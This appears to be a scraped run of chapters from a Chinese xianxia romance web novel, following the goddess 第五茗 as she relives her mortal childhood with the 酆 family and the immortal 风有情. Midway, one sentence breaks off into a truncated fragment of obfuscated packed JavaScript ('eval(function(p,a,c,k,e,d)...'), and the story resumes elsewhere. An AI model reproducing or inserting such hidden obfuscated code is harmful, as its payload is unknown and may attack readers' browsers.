天帝面容微愁道:“若不是战事在即,怎容的你如此随心而为。” 风有情哑声道:“风有情知错,明知生了心瘴,却未及时制止,还变本加厉,肆意胡为,置天界于不顾…天帝有好生之德,宽恕了无辜小鬼,但风有情自知不可相同而语,所行所为罪不可恕,恳请天帝让我入孽镜台除心瘴。” 天帝食指抬起,风有情下颌受驱使,将头仰了起来。 天帝确认道:“孽镜台?” 风有情眼神黯然,做错事的模样,道:“历劫之前,应当听天帝之言,先入孽镜台除心瘴的,我若是当时除欲断念,便不会给任何妖邪之事可乘之机,也不会犯下如今错事…只是那时心高气傲,自以为是,没想到今时今日会生出如此瘴业。” 顿了顿,他眼角流下一滴泪水,顺他的手臂,滚落在了雨无伤怀里,溶了进去。 他沉声道:“风有情愿意入孽镜台了,恳请天帝再给我一次机会,让我抽锁情丝,自此只为天界而生,只为众生而活。” 他太懂天帝了。 若是此事没有彻底解决,雨无伤会像在雍凉城时一样,玉帝会如不可察的命数一般,在他护顾不及时,取了雨无伤的性命。 他想赌一赌,拿他自己,向天帝换雨无伤往后平安。 没过一会儿,玉帝容颜舒展,道:“好。” 风有情松展下来。 他赌对了。 天帝只是想要他。 他的雷宝可以活下来了。 风有情随天帝离开前,把雨田心玉放进了雨无伤的手里,又手掐「赐福」,为雨无伤结出一圈护身。 雨无伤彻底沉进了忘川河水中… 她掌心忽耀一瞬金痕,刚离开的风有情手中也出现了一条。 不同的是,风有情那条越来越亮,越来越热,融进了掌中肌骨。 数月后,雨无伤手中的雨田心玉慢慢地起了作用,在那圈护身金光消失前,代替了金光,继续保护了她。 只是雨田心玉护心不护身,她在水里反反复复醒来,反反复复因为河水刺骨而疼痛难忍,呐喊了出来,扰得奈何桥旁的熬汤老婆子皱眉,惊得桥上小鬼端洒手中的孟婆汤。 不知道她在忘川河里泡了多久,一年、两年…十年、几十年…或许有近百年,仿佛是仙君和小鬼痛苦的声音渐渐被小鬼们适应了,又好似孽镜台内那撕天震地的仙君求饶声没有了…又或许是这件事都变得模糊了。 雨无伤又从忘川河水里,衣物尽无地走了出来。 她刚出水,那熬汤的老婆子,就站在桥上向她扔来了一件衣服,套在了她身上。 老婆子道:“雨无伤,慢慢地走上来。” 雨无伤眨眼复述道:“雨无伤?” 婆子立即解释道:“你的名字,雨无伤。” 雨无伤道:“名字…” 衣服从她头顶套入的时候,已经带干了她脸上的忘川河水,可她在呢喃“名字”时,眼角又有一阵冰冰凉凉,刺骨疼痛的感觉,她正抬手,准备擦一擦,桥上的老婆子,大喊阻止道:“不要拿手碰!快些走到锅这边来,那是伤情泪,是熬汤的好引子,熬出绝世好汤,你就能替我守这口锅了。” 雨无伤听话地放下了手,任由眼角的刺痛蔓延,晃眼间,看见了手上钩挂的一枚月牙坠子。 她举了起来,朝桥上问道:“这是什么?” 老婆子嗟叹答道:“不重要的东西。” 咚! 雨无伤扔掉了挂在手上的东西,未有不舍,未有留恋,大步朝岸上走去。 坠子在水花中沉入忘川河,没一会儿,那深不见底的水面上,再寻不见一点除水以外的踪影。 70. 二十载风雨一世1 第五茗猛然睁开眼睛,双手扣在脖子上,大口喘息。 好一阵,她才看清,她回到了孽镜台,眼前和四周不再是那冰冷刺骨的忘川河水。 对面镜子中,那条金色情丝,仿若疑惑,歪了半截身子,看着第五茗莫名其妙的姿势。 第五茗胸膛起伏,责备道:“都是什么事儿啊!你两谈情说爱遭一劫,还要拉我泡一回忘川河水…我告诉你,若是把我神格毁了,你可是要遭天谴的!!!当心再也回不去!!” 这一番话,那条金丝好像听得懂,瞬间,它全身滚起了波浪,头也不回地朝背离镜面的方向逃了。 第五茗啧啧两声,道:“就吓吓你,怎么这么胆小,你不是风有情的情丝吗?怎么一点也不像他。而且…我方才经历的那一遭,还不都怨你!啊呀呀…算了算了,我不唬你了,你回来吧,我还有事情要问你呢。” 她朝镜面里仔细搜索了一阵,镜面白茫茫一片,别说金色情丝身影了,连一粒尘土都没有。 她大声道:“我入你们的记忆,一直被困在雨田心玉里,是以没机会看见风有情在孽镜台内的事,我听他和帝君的谈话,说仙君入孽镜台会在这里除心瘴,那是怎么个除法?你知道吗?他们到底是怎么将你抽出来的?你倒是出来啊!!摆几个字回答我一下!!” 话音还没消散,一片阴影,笼上了第五茗的左侧脸颊,立马,又来了一片阴影,罩上了她右侧脸蛋,慢慢地,从她身后吹来一股凉飕飕的风… 风? 孽镜台里何时有风了? 难道阴风也能吹到这里来? 不对啊… 第五茗如是想着,刚准备转身,头顶袭来一大片阴影,将她整个人掩住。 登时,她嘴道:“不好!” 不用她左右转头查看,余光便能扫见两张镜片,镜面上不同于一路走来的镜片,上面出现了她身影,逐渐清晰,逐渐变大。 镜片快速地朝她移了过来,她想跑,已然是来不及了。 前后左右都有镜片拦路…身前有禁锢风有情金色情丝的那面大镜片,身后、左右又各有一片映了她身影的镜片。 身前那张没动,却拦了路。 左右和身后的三张,夹击而来,更是截了路。 第五茗心下一慌,自知情况不妙,脚下刚一挪动,那镜中的“她”,竟扔出了一根锁链,比她动作还快,顿时捆了她的四肢和脑袋,将她拖了起来,滞在半空中。 第五茗挣扎道:“放开我!!!” 她的“蛮力”在这里好似不起作用,锁链纹丝不动,只被镜中人慢慢拽住。 连接镜面的一端锁链,咯吱咯吱,仿佛镜面正在吃链子, 第五茗察觉到身上的锁链,绷得越来越紧,仿佛一点一点地咬进了镜子中。镜中人的动作,虽这一变故,也越发地像是在分尸她。 那几面镜子中的脸,笑得张扬又邪魅,兴奋又紧张。 第五茗浑身发疼,须臾,魂魄开始裂碎,清脆声在疼痛中响起… 一切都来得猝不及防,她是那般无奈,除了握紧双拳,咬紧牙关,她甚至连放点血,画张符抵抗都做不到。 在锁链的拉扯下,她心里咒骂着,因疼痛而渐渐闭上了眼。 舒然,周围声音繁复,变得越来越嘈杂… 一重一重,清晰地传入她的耳朵里。 好奇怪? 似乎是镜面破碎了,里面被关押的东西都跑了出来,脚步声很重,破风声不绝。 有鸣叫声… 有呼吸声… 还有人声… 有男有女,有老有少:“阿爹,我害怕…呜呜…” “走快些!!” “这弃尸坡,听说小鬼多。” “怕、怕什么…后面…不是还有那么多人嘛。” “还是赶紧走吧。” 一阵密密麻麻的,鞋履摩擦碎石子的声音响起… 第五茗听见有人来了。 他们逐渐靠近了她,停顿片刻,又飞快地远离了。 第五茗忍住身上的难受劲儿,仔细聆听他们讲话和走路。 有人发问道:“这是山吗?” “好小,还有这么多…坟包?” 第五茗心中疑道:坟?地下还有坟?地下什么时候有的坟… 此时,一男子声音催促道:“别看!!当心看见不该看的东西。” “弃尸坡晦气,赶快走。” “啊!!道丧黑鸦…” “去去去!吃那烂尸堆里的肉!!!” 嘈杂的声音中,除了一些人走路和说话,现下,又多了一群乌鸦叫,似乎在那群人的驱赶下,还有几只乌鸦朝第五茗这方飞了过来。 第五茗心中惊喜:活物?!!不对!幽魂?!!! 鸟雀扑扇翅羽的声音愈发清楚,第五茗激动难耐… 有幽魂,就意味着有鬼差进来了。 她可以寻人帮忙! 可她耳朵虽然能听见,全身却僵硬得很,拉扯极紧,疼到骨头都快碎了,疲乏的眼皮实在是抬不起来,更别说动手动脚,张嘴说话了。 与此同时,仿佛有个胆子大一点的人靠得更近了。 第五茗清楚地听见,头顶上方传来了一个女人的声音… 她失语道:“快看,又有人把小孩扔来弃尸坡了…难怪这群道丧黑鸦往这边飞,去去去!!” 鸟雀振翅,扑棱飞走了几只。 同时,远一点的地方,一个男人粗声吼道:“你跑里面去做什么!!少管闲事,快些走了!” 女人嗫嚅道:“好可怜啊…那么小的小孩。” 随后,就是一阵越来越远的踩踏声… 女人走了,和男人汇合后一起走得更远了。 好在,第五茗于他们短短的两三句话中,听见了些有用的东西。 她心道:怎么回事?弃尸坡?这不应该是临安郡官道旁的尸山名吗? 孽镜台难道送临安郡的人魂进来了? 还一次这么多人。 太热闹了…吧? 算了算了,有人好啊,有人能进来,要么不是什么好人,要么就是和她一样想去应征鬼差的,反正都是些能力不差的人,虽比不上鬼差,但也不赖,正好能帮她把身上锁链解一解。 第五茗努力地动了动嘴唇。 哎!!! 居然可以活动了。 她又撅了撅。 如此反复了好一阵,第五茗才发现嘴可以动,她却暂时发不出声音。 她思忖道:这么多人魂围观,声音不行,弄点动作吸引人应该行得通吧?! 手脚受制,只能动嘴,她希望路过的人能注意到她,嘴上不停地空口说道:帮帮我…帮帮我… 了无回应,无人理她。 第五茗没有放弃,学起做人时的祈请,张口无声道:来一只小鬼帮帮我吧…恶鬼、厉鬼、欲鬼、色鬼…不管什么鬼,随便给我来一只啊…我都不嫌弃的。 她面前脚步声不绝,但没有一人驻足。 空口说了上百次,终于,她听见了一个脚步停了下来,紧着,又有两三个。 第五茗心中欣喜,挺了嘴皮子,等着他们来挽救她。 结果,那些人就站在了原地,没有前进,也没有离去,攀谈了起来,道:“快看,它们在做什么!?” “大惊小怪,不过是乌鸦饿了。” “它…它嘴里…” “是肉。” “死人肉。” “啊!!!” “啊…!!!” “叫什么叫,当心它们待会儿不吃死人肉,都跑来叼你!!” “呜呜呜…我们快些走吧,这里太吓人了。” “弃尸坡嘛,鬼都要吓倒两只的…” “走吧,早些赶路。” 那几人的脚步又响了起来,越来越远。 很明显,他们并没有看见第五茗,而此时,第五茗的身边,鸟翅震起,一个尖锐的东西,穿破了她脸上的风,刺了下来。 “哇~哇哇哇…” 原来,她不是不能发声,是不能吐字。 刚刚一个尖硬的东西扎入她的脸颊,又立即拔了出来,疼得她忍不住,啜泣呼叫时,她发现了这件事。 哎… 总归是能发出点声音了。 虽然只能哭… 第五茗心里是高兴的,能出声,归根结底也算是一件幸事,她能换一个法子惹人注目。 哇——哇—— 乌鸦吃到了好吃的,兴奋地叫了两声。 听到熟悉的兽语,第五茗更加欣喜,因为这证明,面前经过的幽魂是能够注意到她。 只是这一经历,让她莫名的有一种似曾相似,仿佛前不久才刚经历过一样的错觉。 不多时,又有两人的脚步驻足在了她面前的不远处,她应声哭泣,吸引来人注意。 “有哭声?” “还有活人!!” “去看看。” 是一男一女。 两人的气息雄厚,声音异常柔和,动作有一些笨重,一点都不像恶鬼。 坐以待毙不是第五茗的性格,对方在靠近,她也再次尝试,努力地想要抬起眼皮。 不如先前幸运,她眼前依旧黑黑的,她不知道是她没睁开,还是说因为镜面上法术导致的。逐渐扩大的触感,让她自己明显感觉到眼皮有翕动,可努力一番,却是看不见一点光。 那一男一女的脚步声越来越近,第五茗心中大喜。 伴随两人驱赶乌鸦的动静,一只手,将第五茗眼前乌黑的一片掀开。 啊!她不是睁不开眼,是她眼睛上压了一段手!! 那帮她解开眼前黑暗的大手,又多了一只,须臾,她周身遭禁锢的紧绷和压迫也消失了。 那双手,在她的注视下将她抱了起来。 今日出了太阳,好一阵儿,她才适应光线,看清四周的情况和面前的人。 太阳??? 地府见太阳?!!! 这哪里还是在孽镜台… 分明就是临安郡的弃尸坡啊!! 远处川流不息的官道,身下残肢断臂、死尸枯骸、坟包遍布的山坡,四周盘旋的道丧黑鸦,以及第五茗面前这三人,她都太熟悉了… 难怪她觉得黑暗和声音,还有先前乌鸦吃她肉的一幕经历会如此似曾相识,不是她的错觉,这正是她为人二十载的初始人生。 第五茗暗思道:镜子把我带回做人的那二十年记忆里了? 不应该啊,孽镜台会抽走心瘴束缚在镜面中,可这二十年我过得很平常,哪会 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女人对第五茗指了指隆起的肚子,柔笑道:“他叫酆小洪,将来也是一个和你一样可爱的娃娃,婶婶今天本来要去城里找大夫瞧瞧他,可现在我们先回家一趟,因为你看起来很不舒服。你不要怕啊…婶婶不会伤害你的。” 面前三人,抱她的男人是酆父,女人是酆母,而酆母肚子中还未出生的小孩,正是酆小洪。 一如第五茗记忆里浮现的画面,他们带她回了平安村。 现在重来一次,第五茗才发现,这场相遇,对于酆家夫妇来说好像并不是什么好事。 同他们回了平安村后,她作为旁观者,更多时候都是在听,不再参与到他们的生活中,顺便就多听了两耳邻里的闲言碎语,她这才盘算清楚,她的衰运貌似影响了酆家。 她的到来,打断了酆母去城里找大夫的计划。至那以后,酆父从入山猎物不断,变成多遇猛兽,徒增伤病,酆母忧心过重,又没有大夫开药调理,她便早产了酆小洪。 未足七月的孩子,在胎中怎能将养好,生出来后,就痴痴傻傻,成了不通情理的呆子。 酆家日渐艰难,逐步清寒。 四人更是恶疾缠身,时乖运舛。 酆家夫妇带着一病一痴两个小孩,不听别人劝阻,节衣缩食,愣把日子过了下去,居然比同村人还是要好上一星半点。 两个小孩将养得甚好,夫妇两身体虽不如从前,气运不如过往,好在处安思危,修了屋院,备了家当衣物,每年都似有预谋地储下吃食,倒是从来没有饿过肚子。 当时的第五茗看不清,也估算不准这是不是酆家的命数。 此时,第五茗倒是瞧清楚了。 酆家面上的死气是劫数,是司命府定好的,日子越过越清苦,却更像是受了他人命格的影响。不然一村人都穷困潦倒至极,唯独他酆家能填饱肚子,不是司命提早定好的福命,哪来机会有这好日子过。 酆家命里有福,却因第五茗福气不足。 第五茗心中叹道:都怪我… 你们一家,应当是司命最喜欢写的富贵早死命。 富贵因我散尽,早死倒没有因我而翻改。 她那时便有所感知,酆家命数或许有异。她早料到天上司命即便有所察觉,也不会有司命像她一样“胡作非为”,在一世命数中途,为他人擅自改一改簿子。 带了记忆入人道,做「蒲小明」时的第五茗,和如今再入回忆的第五茗,虽看不见深藏在命数里的那一劫具体在何处,却是想法出奇的一致。 「她」和她都打算离开这个家。 在酆家夫妇收养第五茗到六七岁时,那时的她开始担忧哀衰命格会牵连酆家,暗地里计划了好几次离家出走。 然而,她每次背离水路奔入深山,没离开多久,就会被酆父寻回家。 那一日,第五茗又趁酆家夫妇两人在忙碌,独自一人入了山林,刚走了半个时辰,山中乌云密集,雷声阵阵,几道闪电劈在了山崖上,气势凶猛,击落许多山石。 第五茗眉头一皱,脚下徘徊,转了身,双手互相揉搓,纠结了片刻,便打道准备回家。 她嘴里碎碎念道:“破云落雷,不是死人,就是附近有妖邪…不吉利,不宜出门。” 在雷声中,几块如同屋子大小的山石,从她面前砸滚而过,她朝草丛中啐了一口,脚下步子加快,嘀嘀咕咕道:“大凶!不宜出门!今日不宜出门!!若是遇见妖邪把我吃了还好,万一死不掉,半身不遂就惨了。” 走了有百来步,山中野兽呜咽,其中还夹杂了一阵小小的哭泣声。 第五茗揉了揉耳朵,仔细聆听,心道:完了!!真遇妖邪了,我这乌鸦嘴哦… 等等!这不是小孩子的哭声吗… 赶紧走!!危险!!! 她心里这么想着,朝山下走了两步,她又绕了回来,寻小孩的声音探了过去。 天上雷霆还未停,有一道雷电劈在了第五茗头上。 咔嚓…一块大山石,砸落滚下,飞掠而过。 与此同时,小孩哭声停了。 第五茗唏嘘道:“这都什么事啊!!!” 脚下两步并做一步,她朝大石滚落的方向,跌跌撞撞,快速奔了过去。 当她寻到小孩的时候,她愣住了。 大石滚过的山沟旁,压扁的草堆里确实倒了一个小孩,是人,不是妖,还是第五茗今生最是熟稔的人。 71. 二十载风雨一世2 酆小洪胸膛微弱起伏,脑袋上和脸颊两侧,鲜血汩汩,从中渗出。他的衣襟沾满了泥浆,黏糊糊的,若不是人整个人还在动,手脚和脑袋也耷拉在外,否则叫来人乍看一眼,定会以为他同身下草那样,被压成扁平了。 第五茗庆幸道:“看来不是命劫,你应该还有得救。” 脱掉外衣,她踉踉跄跄跪在了酆小洪身边,拿衣服捂住了酆小洪的伤口。没一会儿,酆小洪的血把她的衣服浸湿了一半,她只能双手紧紧按压在上面,替他止血。 她焦急呼唤道:“小洪…小洪…能听见吗?小洪…” 酆小洪咳嗽两声,半张了眼,可能是伤得太重了,他连哭泣声都未再漏一滴,眼皮又重重地闭上了。 是命劫?! 不对…呼吸还算强劲儿… 第五茗心里判断不准,手上却有了决定,朝想要的结果去做了。 她用外衣在酆小洪脑袋上打了一个结,把他背在身上,准备下山去找大夫。 太不巧了…天上厚云太重,大颗大颗的雨豆子,在此时掉了下来,仿佛安排好的,正好有几滴打在第五茗眼皮上,她吃痛半闭眼睛,目下不查,脚尖绊上了草藤,带着酆小洪顺斜坡滚了下去。 她心中叹道:是命劫啊… 大雨不停地砸下,但他们两好像幸运了一回,翻了两个身,第五茗的衣襟让“树枝”勾住了,她的双手又刚好拉住了酆小洪。 他们两都没有就此滚下山崖,摔断胳膊,摔断腿。 或是丧命。 第五茗喜道:“真好,是我盘算错了,不是命劫。” “树枝”的枝丫有些柔软,有些温热,第五茗把酆小洪紧紧抱回了怀中,才战战兢兢地去解身后衣服上的那根救命“树枝”。 转身,回头,眼前场景,让第五茗这位常年驻守冥界地府的人,兀地一瞬失神。 随即,她对四周空无一人的山林,透过雨声,大喊道:“无常小七,此行是你吗?你可在?” 第五茗周遭的大雨,有一刻滞空在了她头顶。她了然,继续道:“我记得平安村是你的辖地,烦请你好好送二人一程,若是可以,帮我带他们去迷魂店零号歇歇脚吧。” 平地阴风起… 穿跃雨帘,拂她面容而过。 那雨越下越大,第五茗回了神,抱起酆小洪,挪到了那压“树枝”的大落石底下躲避风雨。 她抹了一把脸上的雨水,对漏在大石底下的两张半脸,喃喃道:“酆婶、酆叔…一路好走,切莫痴念,鬼心勿乱,我会替你们照顾好小洪。” 顿了顿,仿若祈求似的,她如在念咒一般,唇动音浅,道:“来世,希望你们能得一份好簿子。” 原来,第五茗出门没多久,酆家夫妇就发现她又跑进了山林中。两人丢了手上活计,便入山去寻她了。还没走多久,天气骤变,两人心慌意焦,正好走到这个山崖口上,二人便被山顶雷电击落的碎石,当场砸身殒命。 至于酆小洪,他往日都在屋中玩耍,今日是酆家劫数,所以…他莫名地按照命数中的安排,尾随酆家夫妇两一起走入了山林。 神志异常的他,听到雷声吓傻了,就蹲在路边哭泣。 也因此,才有第五茗在山道中折返去路,相继发现他们三人的事情。 第五茗曾做司命,自是知晓,三人境况是为何。 只是,由那一截软“树枝救命”,她对酆小洪生出些不忍了… 此间除了雨声,其他气息都安静了下来,第五茗低头看了看怀里的人,心中无奈,黯然道:“也是你的命劫吗?怎么办…我眼睛不好使了,看不准,也算不出…或许不是吧,对吗?” 躲在大石底下避雨,她用外衣拼命地按压酆小洪的伤口止血,甚至,她还傻傻地捡了一根木枝,折出锋利的豁刺,在手腕上划了一条口子,把腕中流出的血,喂进酆小洪的嘴里。 她想保下酆小洪。 半晌,雨势渐小,酆小洪的身体越来越冰凉。 第五茗手腕上的血止不住,殷红雪亮,浸了一地。 她投身为人,不是魂体,割放出来的血就不是赋有神格的血液,施不了法,也做不了补药。 这副身体流的是人血啊… 她心中赧然,此时才反应过来这一点,神思迷迷糊糊,抬起另一只手,虚弱地探在酆小洪颈脉上。失血过多,手指僵硬发冷,她已是无力探寻酆小洪的脉搏。 第五茗不禁哑然笑道:“真好…能一同入冥界地府,不枉相遇一场。” 半个时辰后,第五茗手腕血渐渐地不流了。 她面色苍白,困极了,一手紧紧搂住酆小洪,另一只手,发软地搭在地上,半闭眼睛,混混沌沌道:“也不知是我害了你们,还是你们来毁了我的命数…这一生,我可是放了好几碗血,好不容易做的人,七年不到…有些可惜了。四十五年寿数未尽,我要是受罚可怎么办…我还是挺怕疼的。” 第五茗彻底睡了过去。 不知过了多久,一阵咳嗽声把她从昏睡中惊醒。 第五茗浑身发冷,怀里一团东西越来越热,还在蠕动,她猛地睁开眼睛,便瞥见双手紧紧搂住的酆小洪,此时眼眸微张,嘴里不停地在粗喘。 呼吸急促,但胜在有了气息。 第五茗心喜。 酆小洪没死。 她也没死。 雨已经停了,这一场大雨,把她和酆小洪身上的血迹冲刷得一干二净。若不是二人,一手腕,一头顶,因雨水泡发,分别翻起了白肉,她估计都要把先前发生的事,当做一场梦境了。 酆小洪受了伤,淋了雨,虽然心跳回来了,呼吸也回来了,可浑身却在发烫。 他生病了。 第五茗不敢多做犹豫,朝大石下的两具尸身拜了一礼,急急忙忙背了酆小洪下山寻医。 也不知道第五茗和酆小洪从哪里来的好运,竟是刚下山,便遇到了一位游医。 他们获救了。 第五茗还莫名其妙得了游医一语诊断:失血过多,体质有损,恐怕至此难熬寒冷。 游医离开前,千叮咛万嘱咐,要第五茗注意保暖,小心别被冻着了,否则来日此身艰难。 世事无常,人生有定,这苦难哪里需要等到凛冬之际… 七八月的暑热,刚刚大旱过的村子,虽临靠风雨江,却是极其穷困,吃不饱、穿不好。村里的人得知酆家三口入山寻第五茗出了意外,家中两名大人还皆丧命在天灾落石下,纷纷觉得第五茗是个倒霉蛋,会克人。 早早地就起了谣言,似乎要弃两名小孩于村外。 尤其酆小洪治病这段时间,风雨江上空动不动就晴日劈雷,于是,关于第五茗的传言,在村民口中越发离谱。 直到事发后的第十五日,酆小洪刚退了烧,能咿咿呀呀言语两句了。村民一大早起来,借口平安村遭遇白日干雷,是第五茗带来灾祸的前兆,不约而同在自家门口拿了猎具,互相递了眼色,在村子里议论了两句,便把这雷声栽到了第五茗身上,寻到由头,蜂拥围在酆家院外。 第五茗没搭理他们。 半晌,人群中突然有人正义道:“倒霉蛋丢进城里还有生机,平安村若是容了倒霉蛋,酆家夫妇留下的东西不仅会被糟蹋,平安村也要完蛋。” 不少人附和道:“是啊…”“咱们不是杀人,只是送他们去城里。”“咱们是好意…” 骤然,一位妇人身子不稳,往前跌撞,一层摞一层,挤在门口的两三人,因为后面人猛地压上的重量,往前栽倒,扑开了酆家小院的门栅栏。 门打开了。 有人带头进去,紧接着,村民便不再局促,他们三五一群,都冲进了酆家的小院子里。 四处游走,惊喜异常,他们不像是来“清理门户”,倒像是来“采买东西”,有的打量半掩的地窖,有的抚摸檐下的毛皮,有的把玩桌上的竹杯…连一侧,酆父用山石做的磨子,也有好几人在那方细细观摩。 好一会儿,他们才想起来此的正事。 众人推举了两名瘦弱村汉,让他们把六七岁身量的第五茗和酆小洪,连拖带抗,架在了肩膀上。 一人肩上抗了一个,从平安村最深处,沿村道,一路嘈嘈杂杂地向村外行进,慢慢地,两人身后除了原先围困酆家小院的那些人,又跟上了其余的村里人。 十来步左右,近乎所有的平安村村民,都参与在了这一场热闹当中。 第五茗在一人肩头上,原本还想挣扎,村汉走动后,她便认命了,找了一个舒服的姿势,挂在村汉肩头。 她侧头察看另一人肩上的酆小洪,见酆小洪身子软软地挂在村汉肩头,满面焦虑地叫道:“小洪?小洪!!” 酆小洪没有回应。她在身下村汉背上拍打了两掌,大声道:“李叔,可不可以朝张叔走进一点,小洪好像晕过去了,我很担心他。” 李叔身子一顿,听见第五茗糯糯的女娃子声,于心不忍,一边朝抗酆小洪的张叔身旁走去,一边对张叔道:“老张,那酆家娃子刚生了大病,你别扛着了,抱在怀里吧。” 老张疑惑道:“怎么了?” 李叔道:“他家刚没了人,这两孩子扔就扔,别弄出人命来。” 老张听劝地把酆小洪从肩上搂进了怀里,想起李叔话里“人命”二字,不放心地,他又像抱自家小孩一样,细致地打横抱起。 酆小洪在老张怀里折腾了一番,正巧让第五茗在李叔肩上看清了酆小洪的状况。 一脸默然,眼睛圆溜,酆小洪双唇紧抿,安静地任由对方安排。 醒着的?? 第五茗心思一转道:“张叔,李叔。我和小洪不反抗,可以让我们自己走吗?你们身上的骨头硌得肉疼。” 李叔调侃道:“你这小女娃子身上能有几两肉,哪能硌着…” 老实巴交的村民,都习惯嘴上别扭地说,心里顺着对方的意思去想,所以,这句话说完,他便把第五茗放在了地上。 那边,张叔也把怀里的酆小洪放在了地上。 几名妇人见两名村汉心软,眼疾手快地抬起手上的工具,押解在第五茗和酆小洪两侧,俨然谨慎得很。 第五茗睨了那几人一眼,两步跨走到酆小洪身边,小手牵起对方的手,安抚道:“别怕,我会保护你的。” 酆小洪弱不可见地低头,偷瞟了眼紧握的两只小手,迟疑地问道:“你想,留这?” 第五茗不解道:“什么意思?你是不是还不知道现在是什么情况?你这小傻子,这里是你的家,你家院子在这里,酆叔、酆婶的遗物也在这里,如果留下来了,就不至于现在就饿死了。我们至少还有遮风挡雨的屋子,有酆叔酆婶留下的被褥衣物,还有窖里那些口粮…算了,反正都要被撵出去了。” 酆小洪眼中有神,状态良好,努力道:“你话,我知。” 第五茗望向前方愈发近的村口,摇头道:“你是痴儿,你不懂,不过不懂也没关系…” 酆小洪小小眉毛有些短,拧不起来,只有两头拱了小山,是以看着更像痴儿傻样。 第五茗安慰道:“没事的,离开也没事的。” 酆小洪紧了紧手,让第五茗再次看向他,才道:“喜欢,留下?” 第五茗轻笑一声,未有一丝敷衍,道:“自然喜欢。我第一次做人,能过得不像一只恶鬼,全是因为到了这里,是因为你阿爹阿娘用气运换与我一处安定,是因为难得我有一处可栖身之地。” 酆小洪神色没有变化,还是那副痴痴傻傻的单纯样。 她叹了一口气,继续道:“看吧,我说了你也听不明白的,简单来说,我想要留在这里…即便不是为我自己,也要为你着想,若是你就这么跟着我出去了,别说流浪,后面指不定会遇见什么东西。” 酆小洪摇头道:“我们,不怕。” 第五茗一怔,同样摇了摇头,不可闻地自言自语道:“我的命我清楚,你的命我怕保不住。” 良久,酆小洪抬起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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回过神,李叔左右看了看,无奈地壮起胆子,结结巴巴地询问道:“这…这同道长有什么关系?” 李叔同样低抬一只手,抖了又抖,颤了又颤,好不容易指向了风有情,又因心里恐惧,缓缓地把手指的方向折了一个弯,拐移到了银色长枪上,道:“道长插一杆枪在我们村口是…是要做什么?” 最后,他一鼓作气,不解道:“道长来平安村又是为了做什么?我们饭都吃不上,没钱请法事的…” 风有情震怒道:“小儿无礼,问你们话,你们作答就好,反问回来,寓意何为。” 有了李叔的前言,老张胆子也大了起来,前进了半步,气哼哼道:“你这道士才是不讲道理嘞,平白无故拦在我们村口,态度也不好…我们不欠你的钱,你不请自来,还…还狂妄!” 突然,风有情伸出的手,五指大张,召唤银枪握在手中,引来雷光电闪,欲威压众人。 不曾想,此举反而引来愚昧村民嚷道:“这白日雷是他带来的?” “地是他劈焦的吧…” “谁请的道士啊?” “村子这么穷了,还找一个人来搞破坏!!” “赶紧把孩子扔进城里。” “对对对!天色晚了,不好赶路。” “谁招惹来的道士啊!!这日子还过不过了!!!” 吵闹声中,第五茗弱弱地往前走了半步,她将酆小洪掩在背后,道:“是…是我?” 众人见起因在第五茗身上,退避躲事的村名,三三两两,又围了几人上来,尤其那几个拿了工具的妇人,不知者无畏,多嘴多舌道:“看吧看吧,就说她是颗倒霉蛋吧!” “这小娃子也没多大,不知道从哪里招来的不讲理的道士…” “那障眼法,比镇上的把戏好看。” “嫂嫂,那白日雷听着可真像天上劈的…这把戏看着也有些意思。” “去去去,咱们今日在干正事呢,快点把人赶出去,不然指不定会惹出什么事!!” “…” 风有情脸色越来越难看,手上银枪越握越紧,似要有所作为。 这时,酆小洪悄悄地从第五茗背后走了出来,半挡在她身侧前,凑巧地直面那杆银枪,他眼里没有一丝恐慌,目光反而不停地在靠近的村民身上转悠。 第五茗见情况不对,在风有情发怒前,先他一步,大喊阻断道:“风真…风道长!!您消消气,好好看看这是哪里!!!” 她一把拉开挡路的酆小洪,两三步快速上前,凑近风有情,小声劝阻道:“风真君,这是人界…” 酆小洪一愣,小脸拧巴,视线锁在了第五茗身上。 村民俱是一怔,被第五茗的话吸引了注意力,不再你一言我一语,数双眼睛齐齐地看了过来。 第五茗的提醒,风有情不是不懂。 三界和平共处,到了人界仙君应当尽量“做人”,他收了手中长枪,挂在背上,扫了几眼前方上百名凡人,不满道:“本君知道。” 第五茗道:“你别摆仙君架子,他们看不懂,若是有知情人告到人帝那里,当心天帝处罚你。” 她腹诽道:都知道在人界换一身道袍做人了,怎么还会忘了收敛脾性呢! 风有情愕然,道:“你当本君想来啊…” 随后,他对村里人挨个探察,深吸一口气,喃喃道:“是我晃眼看错了?此间居然只有凡人。” 原来,风有情今日从这风雨江边路过,是有正事要办。 谁知,刚飞到平安村上方,风有情就瞥见了下方一瞬不正常的光泽。他听司命府闲聊命数之时,知晓第五茗消耗了凡人的气运,被凡人捡到了平安村落脚,恐妖邪知晓了第五茗转世身份,将其吞食,遂于中途折返了下来。 还没落下来,他就看见了一大群村民持了利刃,在押解第五茗。 他亦知第五茗下三道所行次数太多,得不了好命数,出于对第五茗的偏袒,他还未了解详情,便先做出行动,拦了平安村众人,质问了这群折辱神格的人。 72. 二十载风雨一世3 见到风有情收了银枪,村中两个小孩靠那般近都没事,李叔心中顾虑少了几分,上前问候道:“疯真疯道长?” 风有情凝视而去,不搭也不应。 第五茗捂嘴咳嗽两声,纠正道:“李叔,先前是我紧张说错话了了,这位是风道长…京都有名的皇家道长。” 李叔狐疑道:“皇家道长?!你还认识这等人物?小娃子村都没出过,倒是先学会满口胡言。” 这根本解释不清楚…第五茗无奈道:“我没有。” 李叔问道:“你实话实说,是不是跟着酆家夫妇去结交的道长?他们早些年怀上小洪的时候,就攒够了钱,打算搬到郡城里去…” 不等他说完,第五茗立即答道:“是的!李叔你说的极对!!是酆叔和酆婶带我去认识的道长,他可厉害了。” 顿了顿,她补充道:“酆叔和酆婶的富贵,也是央道长求出来的。” 李叔转头看向严肃寡言的风有情,问道:“风道长来我们村是要做什么呢?可是那酆家夫妇钱银没结清?” 李叔这样问,第五茗知晓他是担心没招来福祸,会先惹出一身骚,抢先开口道:“李叔误会,我酆叔酆婶从不拖欠记账,风道长来是有别的事。” 李叔“哦”了一声。 第五茗顿了一下,向村口四人中,那缟羽道人眨了眨眼,额上浮现沉色,道:“风道长,你来平安村是为何事呢?” 她那番模样,落在李叔眼中就是孩童稚气,在风有情看来,便是第五茗在说他‘你没事找事,到这里来干嘛!’ 不识好人心…风有情别头,心口不一道:“我见此地有福光,于是折道来寻。” 须臾,他反问道:“你们先前是在干什么?” 